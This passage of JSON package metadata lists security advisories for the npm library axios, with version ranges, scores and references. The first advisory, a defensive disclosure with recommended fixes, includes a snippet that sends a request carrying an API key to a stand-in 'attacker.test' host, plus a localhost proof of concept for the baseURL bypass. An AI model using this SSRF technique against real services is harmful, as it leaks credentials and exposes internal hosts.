snippet:\n\n```js\nimport axios from \"axios\";\n\nconst internalAPIClient = axios.create({\n  baseURL: \"http://example.test/api/v1/users/\",\n  headers: {\n    \"X-API-KEY\": \"1234567890\",\n  },\n});\n\n// const userId = \"123\";\nconst userId = \"http://attacker.test/\";\n\nawait internalAPIClient.get(userId); // SSRF\n```\n\nIn this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.\n\nIt is recommended that:\n\n-\tWhen `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.\n-\tBefore sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.\n\n### PoC\n\nFollow the steps below to reproduce the issue:\n\n1.\tSet up two simple HTTP servers:\n\n```\nmkdir /tmp/server1 /tmp/server2\necho \"this is server1\" \u003e /tmp/server1/index.html \necho \"this is server2\" \u003e /tmp/server2/index.html\npython -m http.server -d /tmp/server1 10001 \u0026\npython -m http.server -d /tmp/server2 10002 \u0026\n```\n\n\n2.\tCreate a script (e.g., main.js):\n\n```js\nimport axios from \"axios\";\nconst client = axios.create({ baseURL: \"http://localhost:10001/\" });\nconst response = await client.get(\"http://localhost:10002/\");\nconsole.log(response.data);\n```\n\n3.\tRun the script:\n\n```\n$ node main.js\nthis is server2\n```\n\nEven though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.\n\n### Impact\n\n-\tCredential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.\n-\tSSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.\n-\tAffected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-07T15:16:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6","https://github.com/axios/axios/issues/6463","https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f","https://github.com/axios/axios/releases/tag/v1.8.2","https://nvd.nist.gov/vuln/detail/CVE-2025-27152","https://github.com/axios/axios/pull/6829","https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde","https://github.com/advisories/GHSA-jr5f-v2jv-69x6"],"source_kind":"github","identifiers":["GHSA-jr5f-v2jv-69x6","CVE-2025-27152"],"repository_url":"https://github.com/axios/axios","blast_radius":43.5553280506507,"created_at":"2025-03-07T16:08:18.305Z","updated_at":"2026-10-02T08:06:58.639Z","epss_percentage":0.00792,"epss_percentile":0.54655,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.30.0","vulnerable_version_range":"\u003c 0.30.0"},{"first_patched_version":"1.8.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.8.2"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1"],"unaffected_versions":["0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","0.31.1","0.32.0","0.33.0","0.34.0","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD","url":"https://github.com/advisories/GHSA-8hc4-vh64-cxmj","title":"Server-Side Request Forgery in axios","description":"axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-08-12T15:30:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39338","https://github.com/axios/axios/releases","https://jeffhacks.com/advisories/2024/06/24/CVE-2024-39338.html","https://github.com/axios/axios/issues/6463","https://github.com/axios/axios/pull/6539","https://github.com/axios/axios/pull/6543","https://github.com/axios/axios/commit/6b6b605eaf73852fb2dae033f1e786155959de3a","https://github.com/axios/axios/releases/tag/v1.7.4","https://github.com/advisories/GHSA-8hc4-vh64-cxmj"],"source_kind":"github","identifiers":["GHSA-8hc4-vh64-cxmj","CVE-2024-39338"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2024-08-12T18:05:32.119Z","updated_at":"2026-09-22T08:09:49.354Z","epss_percentage":0.012070000000000001,"epss_percentile":0.66526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.7.4","vulnerable_version_range":"\u003e= 1.3.2, \u003c= 1.7.3"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y","url":"https://github.com/advisories/GHSA-wf5p-g6vw-rhxx","title":"Axios Cross-Site Request Forgery Vulnerability","description":"An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-08T21:30:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-45857","https://github.com/axios/axios/issues/6006","https://github.com/axios/axios/issues/6022","https://github.com/axios/axios/pull/6028","https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0","https://github.com/axios/axios/releases/tag/v1.6.0","https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459","https://github.com/axios/axios/pull/6091","https://github.com/axios/axios/commit/2755df562b9c194fba6d8b609a383443f6a6e967","https://github.com/axios/axios/releases/tag/v0.28.0","https://security.netapp.com/advisory/ntap-20240621-0006","https://github.com/advisories/GHSA-wf5p-g6vw-rhxx"],"source_kind":"github","identifiers":["GHSA-wf5p-g6vw-rhxx","CVE-2023-45857"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2023-11-10T01:05:47.772Z","updated_at":"2026-09-25T12:11:53.037Z","epss_percentage":0.00556,"epss_percentile":0.4395,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.28.0","vulnerable_version_range":"\u003e= 0.8.1, \u003c 0.28.0"},{"first_patched_version":"1.6.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.6.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ","url":"https://github.com/advisories/GHSA-cph5-m8f7-6c5x","title":"axios Inefficient Regular Expression Complexity vulnerability","description":"axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-09-01T18:23:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3749","https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929","https://huntr.dev/bounties/1e8f07fc-c384-4ff9-8498-0690de2e8c31","https://www.npmjs.com/package/axios","https://lists.apache.org/thread.html/r075d464dce95cd13c03ff9384658edcccd5ab2983b82bfc72b62bb10@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r216f0fd0a3833856d6a6a1fada488cadba45f447d87010024328ccf2@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r3ae6d2654f92c5851bdb73b35e96b0e4e3da39f28ac7a1b15ae3aab8@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r4bf1b32983f50be00f9752214c1b53738b621be1c2b0dbd68c7f2391@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r7324ecc35b8027a51cb6ed629490fcd3b2d7cf01c424746ed5744bf1@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r74d0b359408fff31f87445261f0ee13bdfcac7d66f6b8e846face321@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/ra15d63c54dc6474b29f72ae4324bcb03038758545b3ab800845de7a1@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/rc263bfc5b53afcb7e849605478d73f5556eb0c00d1f912084e407289@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/rfa094029c959da0f7c8cd7dc9c4e59d21b03457bf0cedf6c93e1bb0a@%3Cdev.druid.apache.org%3E","https://lists.apache.org/thread.html/rfc5c478053ff808671aef170f3d9fc9d05cc1fab8fb64431edc66103@%3Ccommits.druid.apache.org%3E","https://www.oracle.com/security-alerts/cpujul2022.html","https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf","https://github.com/advisories/GHSA-cph5-m8f7-6c5x"],"source_kind":"github","identifiers":["GHSA-cph5-m8f7-6c5x","CVE-2021-3749"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2022-12-21T16:12:31.076Z","updated_at":"2026-09-22T08:08:37.278Z","epss_percentage":0.08515,"epss_percentile":0.945,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.21.2","vulnerable_version_range":"\u003c 0.21.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5","url":"https://github.com/advisories/GHSA-4w2v-q235-vp99","title":"Axios vulnerable to Server-Side Request Forgery","description":"Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-01-04T20:59:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-28168","https://github.com/axios/axios/issues/3369","https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55","https://snyk.io/vuln/SNYK-JS-AXIOS-1038255","https://www.npmjs.com/package/axios","https://www.npmjs.com/advisories/1594","https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E","https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf","https://github.com/advisories/GHSA-4w2v-q235-vp99"],"source_kind":"github","identifiers":["GHSA-4w2v-q235-vp99","CVE-2020-28168"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2022-12-21T16:13:12.279Z","updated_at":"2026-10-02T08:16:06.557Z","epss_percentage":0.02359,"epss_percentile":0.82745,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.21.1","vulnerable_version_range":"\u003c 0.21.1"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0"],"unaffected_versions":["0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","0.31.1","0.32.0","0.33.0","0.34.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht","url":"https://github.com/advisories/GHSA-42xw-2xvc-qx8m","title":"Denial of Service in axios","description":"Versions of `axios` prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the `maxContentLength` property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to 0.18.1 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-05-29T18:04:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-10742","https://app.snyk.io/vuln/SNYK-JS-AXIOS-174505","https://github.com/axios/axios/issues/1098","https://github.com/axios/axios/pull/1485","https://snyk.io/vuln/SNYK-JS-AXIOS-174505","https://www.npmjs.com/advisories/880","https://github.com/axios/axios/commit/acabfbdf00a58bb866c9d070e8a10d1d0dbeb572","https://github.com/advisories/GHSA-42xw-2xvc-qx8m"],"source_kind":"github","identifiers":["GHSA-42xw-2xvc-qx8m","CVE-2019-10742"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2022-12-21T16:13:29.681Z","updated_at":"2026-10-02T08:16:40.548Z","epss_percentage":0.06145,"epss_percentile":0.93196,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.18.1","vulnerable_version_range":"\u003c= 0.18.0"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0"],"unaffected_versions":["0.18.1","0.19.0","0.19.1","0.19.2","0.20.0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","0.31.1","0.32.0","0.33.0","0.34.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/axios","docker_dependents_count":20221,"docker_downloads_count":5576113741,"usage_url":"https://repos.ecosyste.ms/usage/npm/axios","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/axios/dependencies","status":null,"funding_links":["https://opencollective.com/axios","https://github.com/sponsors/axios"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-01T10:03:19.540Z","issues_count":3532,"pull_requests_count":2783,"avg_time_to_close_issue":18915964.849639248,"avg_time_to_close_pull_request":8504313.888248848,"issues_closed_count":3465,"pull_requests_closed_count":2604,"pull_request_authors_count":1138,"issue_authors_count":2811,"avg_comments_per_issue":3.9886749716874292,"avg_comments_per_pull_request":1.5066475026949335,"merged_pull_requests_count":1423,"bot_issues_count":3,"bot_pull_requests_count":474,"past_year_issues_count":204,"past_year_pull_requests_count":938,"past_year_avg_time_to_close_issue":2884508.8670520233,"past_year_avg_time_to_close_pull_request":1486415.9871645274,"past_year_issues_closed_count":173,"past_year_pull_requests_closed_count":857,"past_year_pull_request_authors_count":333,"past_year_issue_authors_count":169,"past_year_avg_comments_per_issue":4.504901960784314,"past_year_avg_comments_per_pull_request":1.1460554371002132,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":196,"past_year_merged_pull_requests_count":462,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/issues","maintainers":[{"login":"DigitalBrainJS","count":264,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DigitalBrainJS"},{"login":"jasonsaayman","count":240,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jasonsaayman"},{"login":"paolap","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/paolap"},{"login":"emilyemorehouse","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/emilyemorehouse"}],"active_maintainers":[{"login":"jasonsaayman","count":182,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jasonsaayman"},{"login":"DigitalBrainJS","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DigitalBrainJS"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/codemeta","maintainers":[{"uuid":"jasonsaayman","login":"jasonsaayman","name":null,"email":"jasonsaayman@gmail.com","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~jasonsaayman","role":null,"created_at":"2022-11-10T11:06:13.332Z","updated_at":"2022-11-10T11:06:13.332Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jasonsaayman/packages"}]}